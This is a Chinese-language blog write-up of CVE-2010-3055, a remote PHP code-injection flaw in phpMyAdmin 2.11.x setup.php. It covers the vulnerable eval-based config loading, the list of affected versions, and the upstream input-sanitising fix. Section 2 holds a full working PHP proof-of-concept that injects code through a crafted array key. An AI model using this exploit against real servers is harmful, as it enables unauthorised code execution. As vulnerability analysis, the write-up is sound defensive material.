目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x before 2.11.10.1 does not properly restrict key names in its output file, which allows remote attackers to execute arbitrary PHP code via a crafted POST request.

简单地概括这个漏洞如下

1. \scripts\setup.php文件会接收用户的POST数据进行配置文件的键值(key-value)赋值,并将结果写入/config/config.inc.php文件
2. 代码对用户的输入没有进行有效的过滤,导致黑客可以采用"注入拼接技术",在原本的key-value赋值的"中间",拼接一段任意代码执行
3. \scripts\setup.php文件在点击load(也就是用户点击查看配置文件)的时候,采用eval(..的方式进行"变量本地注册",即重新执行一次变量赋值
4. 在eval的过程中,之前黑客注入的任何代码,被eval执行了,导致了最终的代码执行

Relevant Link:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3055
http://threats.io/cve/CVE-2010-3055/

2. 漏洞触发条件

1. phpmyadmin下的config文件夹存在
这点和CVE-2009-1151是一样的,setup.php本身不能创建新的目录2. config文件夹、config.inc.php文件可写3. 代码本身存在输入过滤漏洞

0x1: 测试POC

POC的发起需要附带对应的token,在手工测试的时候需要注意这点

<?php
// this is an exploit code for phpMyAdmin 2.11.10

$target_url = "http://host/path/phpmyadmin/script/setup.php";$token = null;// request 1:获取token
$res = get_response();// request 2 (add server)
$res = get_response('POST', "token=$token&action=addserver");// request 3 (save to session)
$res = get_response('POST', "token=$token&action=addserver_real&host=localhost&connect_type=tcp&extension=mysql&auth_type=config&user=root&password=1&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.phpinfo().']=1");// request 4 (save to file)
$res = get_response('POST', "token=$token&action=save");// request 5 (load file)
$res = get_response('POST', "token=$token&action=load");
var_dump($res);function get_response($method='GET', $body=null) {global $target_url, $token;static $ch = null;if ($ch === null) $ch = curl_init();curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_URL, $target_url);if ($method == 'POST') {curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS, $body);}curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');$res = curl_exec($ch);$token = get_token($res);return $res;
}function get_token($s) {if (preg_match('#name="token" value="(.*?)"#', $s, $m)) {return $m[1];}
}

Relevant Link:

http://forum.antichat.ru/printthread.php?t=239845

3. 漏洞影响范围

phpMyAdmin phpMyAdmin 2.11.10
phpMyAdmin phpMyAdmin 2.11.9 4
phpMyAdmin phpMyAdmin 2.11.9 .6
phpMyAdmin phpMyAdmin 2.11.9 .2
phpMyAdmin phpMyAdmin 2.11.9 .1
phpMyAdmin phpMyAdmin 2.11.9
phpMyAdmin phpMyAdmin 2.11.8
phpMyAdmin phpMyAdmin 2.11.7
phpMyAdmin phpMyAdmin 2.11.5
phpMyAdmin phpMyAdmin 2.11.4
phpMyAdmin phpMyAdmin 2.11.1
phpMyAdmin phpMyAdmin 2.11.9.5.
phpMyAdmin phpMyAdmin 2.11.9.5
phpMyAdmin phpMyAdmin 2.11.9.3
phpMyAdmin phpMyAdmin 2.11.8.1
phpMyAdmin phpMyAdmin 2.11.5.2
phpMyAdmin phpMyAdmin 2.11.5.1
phpMyAdmin phpMyAdmin 2.11.2.2
phpMyAdmin phpMyAdmin 2.11.2.1
phpMyAdmin phpMyAdmin 2.11.10-dev
phpMyAdmin phpMyAdmin 2.11.1.2
phpMyAdmin phpMyAdmin 2.11.1.1
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

Relevant Link:

http://www.securityfocus.com/bid/42591

4. 漏洞代码分析

这个漏洞的利用需要分几步,我们分为注入和利用2步来分析代码中存在的漏洞

0x1: 注入

function get_cfg_val($name, $val)
{global $crlf;$ret = '';if (is_array($val)) {$ret .= $crlf;foreach ($val as $k => $v) {if (!isset($type)) {if (is_string($k)) {$type = 'string';} elseif (is_int($k)) {$type = 'int';$ret .= $name . ' = array(' . $crlf;} else {// Something unknown...$ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;break;}}if ($type == 'string') { //如果没有对用户的输入进行转义、过滤、规范化,则会存在拼接型注入的风险$ret .= get_cfg_val($name . "['$k']", $v);} elseif ($type == 'int') {$ret .= '    ' . PMA_var_export($v) . ',' . $crlf;}}if (!isset($type)) {/* Empty array */$ret .= $name . ' = array();' . $crlf;} elseif ($type == 'int') {$ret .= ');' . $crlf;}$ret .= $crlf;unset($type);} else {$ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;}return $ret;
}

0x2: 利用

...
case 'load':if ($fail_dir) {message('error', 'Reading of configuration disabled because of permissions.');break;}//载入配置文件$new_cfg = load_config('./config/config.inc.php');if (!($new_cfg === FALSE)) {$_SESSION['configuration'] = $new_cfg;}$show_info = TRUE;break;
...

load_config()

function load_config($config_file)
{if (file_exists($config_file)) {$success_apply_user_config = FALSE;$old_error_reporting = error_reporting(0);//直接使用eval对配置文件中的key-value进行"变量本地注册",黑客可以采用拼接的方式,在eval即将执行的字符串中拼接入任意代码,从而导致远程代码执行if (function_exists('file_get_contents')) {$success_apply_user_config = eval('?>' . trim(file_get_contents($config_file)));} else{$success_apply_user_config = eval('?>' . trim(implode("\n", file($config_file))));}error_reporting($old_error_reporting);unset($old_error_reporting);if ($success_apply_user_config === FALSE) {message('error', 'Error while parsing configuration file!');} elseif (!isset($cfg) || count($cfg) == 0) {message('error', 'Config file seems to contain no configuration!');} else {// This must be setif (!isset($cfg['Servers'])) {$cfg['Servers'] = array();}message('notice', 'Configuration loaded');compress_servers($cfg);return $cfg;}} else {message('error', 'Configuration file not found!');}return FALSE;
}

Relevant Link:

http://sourceforge.net/p/phpmyadmin/bugs/3081/

5. 防御方法

function get_cfg_val($name, $val)
{global $crlf;$ret = '';if (is_array($val)) {$ret .= $crlf;foreach ($val as $k => $v) {if (!isset($type)) {if (is_string($k)) {$type = 'string';} elseif (is_int($k)) {$type = 'int';$ret .= $name . ' = array(' . $crlf;} else {// Something unknown...$ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;break;}}if ($type == 'string') {//防御代码$k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);//如果没有对用户的输入进行转义、过滤、规范化,则会存在拼接型注入的风险$ret .= get_cfg_val($name . "['$k']", $v);} elseif ($type == 'int') {$ret .= '    ' . PMA_var_export($v) . ',' . $crlf;}}if (!isset($type)) {/* Empty array */$ret .= $name . ' = array();' . $crlf;} elseif ($type == 'int') {$ret .= ');' . $crlf;}$ret .= $crlf;unset($type);} else {$ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;}return $ret;
}

在输入的检测中,使用正则进行了"规范化",将输入的key限定在数字和字母的范围之中,有效地防御了这个代码执行漏洞

Relevant Link:

https://github.com/phpmyadmin/phpmyadmin/commit/30c83acddb58d3bbf940b5f9ec28abf5b235f4d2

6. 攻防思考

暂无

Copyright (c) 2014 LittleHann All rights reserved

转载于:https://www.cnblogs.com/LittleHann/p/4236122.html

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055相关推荐

  1. phpmyadmin/scripts/setup.php,Linux下phpMyAdmin安装过程中的问题解决

    1.下载phpMyAdmin,自己想办法拷到/var/www/html下,并解压,开始使用. http://IP/phpMyAdmin测试 cp config.sample.inc.php confi ...

  2. phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)(Kali)

    phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码. 通过vulhub靶场进行复现操作 1.首先搭建靶场环境(采用Kali) cd vulhub/ ...

  3. mvn deploy 报错:Return code is: 400, ReasonPhrase: Bad Request. -

    mvn deploy 报错:Return code is: 400, ReasonPhrase: Bad Request. -> TEST通过没有报错,但是最终部署到Nexus中时出现错误. 后 ...

  4. Received status code 400 from server: Bad Request解决方案

    Received status code 400 from server: Bad Request解决方案 Could not GET ' https://dl.google.com/dl/andro ...

  5. Received status code 400 from server: Bad Request

    一.报错信息 FAILURE: Build failed with an exception.* What went wrong: A problem occurred configuring roo ...

  6. 解决: Failed to execute ... maven-deploy-plugin... Return code is: 401, ReasonPhrase: Unauthorized.

    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家.点击跳转到教程. 1. 执行  mvn  clean deploy , 想把本地代码 打包并推送到私服 ,报错: [E ...

  7. hdu 3461 Code Lock(并查集)2010 ACM-ICPC Multi-University Training Contest(3)

    想不到这还可以用并查集解,不过后来证明确实可以-- 题意也有些难理解-- 给你一个锁,这个所由n个字母组成,然后这个锁有m个区间,每次可以对一个区间进行操作,并且区间中的所有字母要同时操作.每次操作可 ...

  8. phpmyadmin漏洞合集

    1.PhpMyAdmin 4.0.x-4.6.2 远程代码执行 (CVE-2016-5734)         操作技巧:             去https://www.exploit-db.co ...

  9. vulnstack(一) 红日靶场复现

    说明:关于该复现中的问题欢迎vx交流:Bestboysendit 目录 一.环境配置: 二.内网getshell 3-(1)phpmyadmin 3-(2)备份文件: 三.内网-连接 1.基于MSF ...

最新文章

  1. 苹果首任AI总监Ruslan Salakhutdinov:如何应对深度学习的两大挑战?(附视频)
  2. github使用_一文轻松学会GitHub的使用
  3. 一文讲懂什么是三层交换机、网关、DNS、子网掩码、MAC地址
  4. Spring Boot 多数据源(读写分离)入门
  5. 嵌入式java基准测试_Java正则表达式库基准测试– 2015年
  6. 死磕JDK源码之String
  7. 【原创】线上环境 SYN flooding 问题排查
  8. 百度统计 java 实现思路_211本+985硕+计算机专业投面百度,坐等一周迎来三面,已拿offer...
  9. Linux jsp php集成环境,ImageMagick在程序中调用(linux环境,jsp,php)
  10. 32线性空间06——行空间和左零空间
  11. 如何使用FL Studio效果器制作镶边音效
  12. 2 抽象工厂模式(Abstract Factory)
  13. 完全免费的公众号文章批量下载器
  14. LitePal数据的存储
  15. NTC热敏电阻(温度传感器)
  16. 关于IMDB,-------Internet Movie Database(互联网电影数据库)
  17. netty_channal学习
  18. mysql数据库慕课答案_智慧树MySQL数据库设计与应用慕课答案
  19. Mysql:select ...for update
  20. 你的小米手机升级MIUI11后,电池掉电很快?那是这些设置没关掉吧

热门文章

  1. 【微信小程序】设置画布字体
  2. unity | 写一个XML和用unity读取XML
  3. (18)UVM sequencer和sequence
  4. SEO主要是做什么的?零基础能学习吗?
  5. 免安装mysql8.0
  6. layui省市县三级联动,如何设置select选择时,值为省市县code码
  7. win10下安装deepin双系统的坑:安装完成一直黑屏进不去系统
  8. (二) CGAL库应用:轮廓中轴骨架生成create_interior_straight_skeleton_2()及轮廓的偏置create_offset_polygons_2()
  9. 学计算机要不要懂绘画,学绘画 学修图 你需要一台怎样的电脑
  10. 机械臂抓取学习笔记四